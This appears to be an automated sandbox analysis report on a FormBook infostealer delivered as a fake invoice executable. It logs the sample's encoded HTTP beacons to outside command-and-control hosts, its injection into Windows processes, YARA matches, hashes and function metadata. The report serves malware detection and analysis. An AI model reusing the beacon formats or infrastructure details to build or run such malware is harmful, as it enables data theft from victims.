Nov 10, 2023 09:28:08.134658098 CET	142	OUT	GET /udwf/?G0Yxd2Q=/fHzvDGB04J+q8b6XJE1xYe30bxweLJnilom5C96GpM+NoY5L9yFqNs9P5GPx0eLkQDxLFeKj8P05w7qGZ9X0/BmwspDAeolpA==&vhQT=aV8PeNo0MvDl1 HTTP/1.1 Host: www.bellcom.media Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Nov 10, 2023 09:28:08.494031906 CET	143	IN	HTTP/1.1 200 OK date: Fri, 10 Nov 2023 08:28:08 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding x-powered-by: PHP/8.1.17 expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_K6T6EgKDNpycVcTI448yZh4Whwi6908edQ5ne9vwqzeDCUwGdehL4WTJXqvsuTowv27KwmYZBTVhLLhotUnz9A== last-modified: Fri, 10 Nov 2023 08:28:08 GMT x-cache-miss-from: parking-698fb476bf-xftqn server: NginX connection: close Data Raw: 32 43 45 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 4b 36 54 36 45 67 4b 44 4e 70 79 63 56 63 54 49 34 34 38 79 5a 68 34 57 68 77 69 36 39 30 38 65 64 51 35 6e 65 39 76 77 71 7a 65 44 43 55 77 47 64 65 68 4c 34 57 54 4a 58 71 76 73 75 54 6f 77 76 32 37 4b 77 6d 59 5a 42 54 56 68 4c 4c 68 6f 74 55 6e 7a 39 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 62 65 6c 6c 63 6f 6d 2e 6d 65 64 69 61 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 62 65 6c 6c 63 6f 6d 20 52 65 73 6f 75 72 63 65 73 20 61 6e 64 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 62 65 6c 6c 63 6f 6d 2e 6d 65 64 69 61 20 69 73 20 79 6f 75 72 20 66 69 72 73 74 20 61 6e 64 20 62 65 73 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 Data Ascii: 2CE<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_K6T6EgKDNpycVcTI448yZh4Whwi6908edQ5ne9vwqzeDCUwGdehL4WTJXqvsuTowv27KwmYZBTVhLLhotUnz9A==><head><meta charset="utf-8"><title>bellcom.media - bellcom Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="bellcom.media is your first and best source for all of the information youre looking for. From general
Nov 10, 2023 09:28:08.494050026 CET	144	IN	Data Raw: 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 62 65 6c 6c 63 6f 6d 2e 6d 65 64 69 61 20 68 61 73 20 69 74 20 61 6c 6c 2e 20 57 65 Data Ascii: topics to more of what you would expect to find here, bellcom.media has it all. We hope you find what you AECare searching for!"><link rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sedo_log
Nov 10, 2023 09:28:08.494061947 CET	146	IN	Data Raw: 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 2a 7a 6f 6f 6d 3a 31 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f Data Ascii: lock}audio,canvas,video{display:inline-block;display:inline;zoom:1}audio:not([controls]){display:none;height:0}[hidden]{display:none}html{font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}html,button,input,select,textare
Nov 10, 2023 09:28:08.494076014 CET	147	IN	Data Raw: 66 69 67 75 72 65 7b 6d 61 72 67 69 6e 3a 30 7d 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 7d 66 69 65 6c 64 73 65 74 7b 62 6f 72 64 65 72 3a 30 20 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 6c 65 67 65 6e 64 7b 62 6f 72 Data Ascii: figure{margin:0}form{margin:0}fieldset{border:0 none;margin:0;padding:0}legend{border:0;padding:0;white-space:normal;margin-left:-7px}button,input,select,textarea{font-size:100%;margin:0;vertical-align:middle;vertical-align:middle}button,inp
Nov 10, 2023 09:28:08.494088888 CET	148	IN	Data Raw: 61 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 72 69 67 68 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 67 72 69 64 2d 61 72 65 61 3a 31 2f 32 2f 32 2f 36 7d 2e 6c 65 66 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 Data Ascii: a{color:#949494}.right-container{grid-area:1/2/2/6}.left-container{background-image:url("https://img.sedoparking.com/templates/bg/NameSiloLogo.png");background-size:60vw;background-position:center;background-repeat:no-repeat;height:40px;text-a
Nov 10, 2023 09:28:08.494168997 CET	150	IN	Data Raw: 2e 35 65 6d 20 33 30 70 78 3b 63 6c 65 61 72 3a 62 6f 74 68 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 6f 74 74 6f 6d 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b Data Ascii: .5em 30px;clear:both}#container-cookie-message{position:fixed;bottom:0;width:100%;background:#5f5f5f;font-size:12px;padding-top:15px;padding-bottom:15px}#container-cookie-message p,#container-cookie-message a{color:#a0a0a0}#container-cookie-me
Nov 10, 2023 09:28:08.494184017 CET	150	IN	Data Raw: 76 65 3a 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 70 61 64 64 69 Data Ascii: ve::after{clear:both}.content-webarchive h2{font-size:1.2em;font-weight:bold;padding-bottom:20px}.content-webarchive div{width:100%}.content-webarchive div .webarchive-block{padding:7px 0}.content-webarchive div .webarchive-block h3{font-weigh
Nov 10, 2023 09:28:08.494195938 CET	152	IN	Data Raw: 31 35 44 38 0d 0a 72 63 68 69 76 65 2d 62 6c 6f 63 6b 20 75 6c 20 6c 69 7b 70 61 64 64 69 6e 67 3a 39 70 78 20 38 70 78 20 38 70 78 20 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f Data Ascii: 15D8rchive-block ul li{padding:9px 8px 8px 10px;background:linear-gradient(to bottom, #444 0, #363636 100%)}.content-webarchive div .webarchive-block ul li:first-child{border-top:1px solid #ccc;border-top-left-radius:10px;border-top-right-ra
Nov 10, 2023 09:28:08.494209051 CET	153	IN	Data Raw: 64 3a 23 32 64 32 64 32 64 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 66 6f 6f 74 65 72 7b 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 66 6f 6f 74 65 72 20 61 7b 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 7d 2e 64 6f 6d 61 69 Data Ascii: d:#2d2d2d}#container-footer{color:#595959}#container-footer a{color:#595959}.domain h1{color:#595959}.content-relatedlinks h2 span{color:#595959}.content-relatedlinks ul li{border-bottom-color:#ccc}.content-relatedlinks ul a:link,.content-rela
Nov 10, 2023 09:28:08.494220972 CET	154	IN	Data Raw: 3a 23 33 36 33 36 33 36 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 68 32 7b 63 6f 6c 6f 72 3a 23 39 39 39 7d 2e 63 6f 6e 74 65 6e 74 2d 77 65 62 61 72 63 68 69 76 65 20 64 69 76 20 64 69 76 2e 77 65 62 61 72 63 68 69 76 65 2d Data Ascii: :#363636}.content-webarchive h2{color:#999}.content-webarchive div div.webarchive-block h3 a:link,.content-webarchive div div.webarchive-block h3 a:visited{color:#595959}.content-webarchive div div.webarchive-block h3 a:active,.content-webarch
Nov 10, 2023 09:28:08.798624992 CET	156	IN	Data Raw: 3a 32 2e 32 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 7d 23 63 6f 6e 74 61 69 6e 65 72 2d 73 Data Ascii: :2.2em;font-weight:bold;text-decoration:none;text-transform:lowercase}#container-sedologo{display:block;text-align:center}.oneclick.twot #container-content{margin-left:5%;margin-right:5%}.content-ads ul li{padding:.6em 0}.content-ads ul li::be

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.10	49724	84.32.84.32	80	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Timestamp	kBytes transferred	Direction	Data
Nov 10, 2023 09:28:15.448548079 CET	173	OUT	POST /udwf/ HTTP/1.1 Host: www.tutorwave.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Origin: http://www.tutorwave.online Referer: http://www.tutorwave.online/udwf/ Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 47 30 59 78 64 32 51 3d 43 38 33 43 47 54 6c 65 32 6f 50 73 78 77 56 35 4c 70 51 53 46 5a 67 52 52 31 7a 79 35 34 52 68 74 52 55 57 4b 75 55 69 74 73 6e 67 75 37 57 32 48 6f 58 63 47 42 38 6a 65 69 7a 45 37 66 69 4e 4f 44 39 75 31 30 64 66 55 62 6f 68 72 33 36 6d 54 43 4c 56 6a 43 62 46 4c 6e 4d 42 43 46 79 74 7a 54 31 48 7a 49 52 79 4e 6a 68 30 34 79 48 62 55 4d 36 77 7a 59 4a 59 48 6b 2b 45 77 6d 59 65 61 6a 65 5a 33 44 32 35 38 42 4f 52 55 77 59 44 66 71 4b 70 52 49 6f 6e 64 39 4b 4d 5a 2f 78 61 55 64 37 36 6a 6c 66 6c 64 32 75 4a 37 43 33 6f 6e 77 3d 3d Data Ascii: G0Yxd2Q=C83CGTle2oPsxwV5LpQSFZgRR1zy54RhtRUWKuUitsngu7W2HoXcGB8jeizE7fiNOD9u10dfUbohr36mTCLVjCbFLnMBCFytzT1HzIRyNjh04yHbUM6wzYJYHk+EwmYeajeZ3D258BORUwYDfqKpRIond9KMZ/xaUd76jlfld2uJ7C3onw==

Target ID:	0
Start time:	09:27:04
Start date:	10/11/2023
Path:	C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe
Imagebase:	0xb60000
File size:	965'632 bytes
MD5 hash:	EEA9BF4A16AB377328A59BDE0A0C76DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:27:05
Start date:	10/11/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x70000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:27:05
Start date:	10/11/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x910000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:27:09
Start date:	10/11/2023
Path:	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe"
Imagebase:	0xcb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	09:27:10
Start date:	10/11/2023
Path:	C:\Windows\SysWOW64\fontview.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\fontview.exe
Imagebase:	0x480000
File size:	113'152 bytes
MD5 hash:	8324ECE6961ADBE6120CCE9E0BC05F76
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	09:27:22
Start date:	10/11/2023
Path:	C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe"
Imagebase:	0xcb0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:27:35
Start date:	10/11/2023
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Mozilla Firefox\Firefox.exe
Imagebase:	0x7ff613480000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	241
Total number of Limit Nodes:	21

Executed Functions

Function 054E90F0 Relevance: 9.3, Strings: 7, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P, xrefs: 054E97E0
S, xrefs: 054E9370
E, xrefs: 054E924D
:, xrefs: 054E97D6
O, xrefs: 054E9651
t, xrefs: 054E9706
:, xrefs: 054E96FC

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID: :$:$E$O$P$S$t
API String ID: 0-3177760418
Opcode ID: 73a7a137229deff3b7d619533c09723f5a0874e6174381c128a55fb3920aa0da
Instruction ID: 20bdc4badfc7f4377e9aa78c7a43f78fb4a72ce5b09c3c9e7a833bb202024369
Opcode Fuzzy Hash: 73a7a137229deff3b7d619533c09723f5a0874e6174381c128a55fb3920aa0da
Instruction Fuzzy Hash: 87322770A10A04CFDB15EB75C8587DEB7B2AFCA305F1045AED00AAB360DB75A989CF51

Uniqueness

Uniqueness Score: -1.00%

Function 054E9100 Relevance: 9.3, Strings: 7, Instructions: 538
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P, xrefs: 054E97E0
S, xrefs: 054E9370
E, xrefs: 054E924D
:, xrefs: 054E97D6
O, xrefs: 054E9651
t, xrefs: 054E9706
:, xrefs: 054E96FC

Memory Dump Source

Source File: 00000000.00000002.1265525054.00000000054E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID: :$:$E$O$P$S$t
API String ID: 0-3177760418
Opcode ID: e9fd79874dcfeb97321ae1ae44792b26407d1bd719d846fd91dc8ad3c2239741
Instruction ID: 952a3db6476678408b1732dd871b88a86a6b1909f25718e4956bf90753bbfe44
Opcode Fuzzy Hash: e9fd79874dcfeb97321ae1ae44792b26407d1bd719d846fd91dc8ad3c2239741
Instruction Fuzzy Hash: 63322770A10A04CFDB15EF75C85879DB7B2AFCA305F1045AED00AAB360DB75A989CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02E98708 Relevance: 1.4, Strings: 1, Instructions: 173COMMON

Download Yara Rule

Strings

, xrefs: 02E9881E

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 9c548c1360f537248f014f52477a0561fef5a0001be5867e6fe242d4f76f9796
Instruction ID: 155c90c7bce162c12552d89b05cadddef709e52fa6bea3ea827307bb2294442c
Opcode Fuzzy Hash: 9c548c1360f537248f014f52477a0561fef5a0001be5867e6fe242d4f76f9796
Instruction Fuzzy Hash: 8A51ED71F001158FCB18CB69D8806AEB7B2FBC9315B64C57AE519D7758DB30EC418B91

Uniqueness

Uniqueness Score: -1.00%

Function 02E97302 Relevance: .9, Instructions: 887COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3c7484a94ad216f67aeb9fd8d3f8e5b025a2c993874d142f88304f45e603899
Instruction ID: 72d580745cb8289d15ce599863e919d52ddb99ae186e0fa971b0a63a28b0a86e
Opcode Fuzzy Hash: d3c7484a94ad216f67aeb9fd8d3f8e5b025a2c993874d142f88304f45e603899
Instruction Fuzzy Hash: 73729DB4E502298FCB14CF69D884AADBBF2FF88305F15C66AE405EB355D730A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02E983E0 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 158592a744480b62171fb24de14ccf406717350e3bad01edadfd3fc92d42b6f6
Instruction ID: ae16b088106ea9f5510a08ef5b7ca85492716a1516c13f99ed578d3b03a34f29
Opcode Fuzzy Hash: 158592a744480b62171fb24de14ccf406717350e3bad01edadfd3fc92d42b6f6
Instruction Fuzzy Hash: 8B816C32B505249FDB14DB69C880B5EB7A3AFC9710F1AC1A5E419EB366DE74EC018B80

Uniqueness

Uniqueness Score: -1.00%

Function 02E96FE0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71719681a663b9b8580e73acf3062f2e835831c3d7508668a0fc0356629b1eb7
Instruction ID: e66a175421112b89784682ab852f8536c9e05e9603d386647ef13e8ad684d238
Opcode Fuzzy Hash: 71719681a663b9b8580e73acf3062f2e835831c3d7508668a0fc0356629b1eb7
Instruction Fuzzy Hash: BD711AB8D5010EDFDF14CFAAD484AADBBB1BF88314F10A655D412EB254DB319941CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02E98481 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1262831946.0000000002E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e90000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0024e498834659658a0f28c7a30b08e86ecca9a6d2a2870d166f5ac7c39d195a
Instruction ID: b2709308d3345ed2872cb8e364669f53a326b80e6a26602b268b3ed4a3d4b386
Opcode Fuzzy Hash: 0024e498834659658a0f28c7a30b08e86ecca9a6d2a2870d166f5ac7c39d195a
Instruction Fuzzy Hash: BD613C32F505248FD754DB69C880B5EB7A3AFC8710F1AC165E419EB36ADE74EC018B90

Uniqueness

Uniqueness Score: -1.00%

Function 072B2DD4 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 244
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 072B3016

Strings

7KD;, xrefs: 072B2E4A
7KD;, xrefs: 072B2E1B

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: CreateProcess
String ID: 7KD;$7KD;
API String ID: 963392458-104565202
Opcode ID: f4b4f6666f41038c75a01caba62ccd5fd6d98a14ad11175ab96075d1f3cdaf3b
Instruction ID: ca31c7b49631229aa9caf20c3fa9a3fb3ac6c1623a36d5b5818ccd8c74fa7fa2
Opcode Fuzzy Hash: f4b4f6666f41038c75a01caba62ccd5fd6d98a14ad11175ab96075d1f3cdaf3b
Instruction Fuzzy Hash: 1D9147B1D1075ADFEB24CFA8C840BEDBAB2FF49310F148569E808A7240DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 072B2DE0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 072B3016

Strings

7KD;, xrefs: 072B2E4A
7KD;, xrefs: 072B2E1B

Memory Dump Source

Source File: 00000000.00000002.1267091808.00000000072B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_72b0000_Invoice_&_SOA_ready_for_dispatch.jbxd

Similarity

API ID: CreateProcess
String ID: 7KD;$7KD;
API String ID: 963392458-104565202
Opcode ID: c983de32d482566625e1deddd22863a0b31e1a103b474813359480258a801595
Instruction ID: fa6a3071c1c7351a412fcb7d0335ddfef62eb9f48f3d84a86d121b4fb8165752
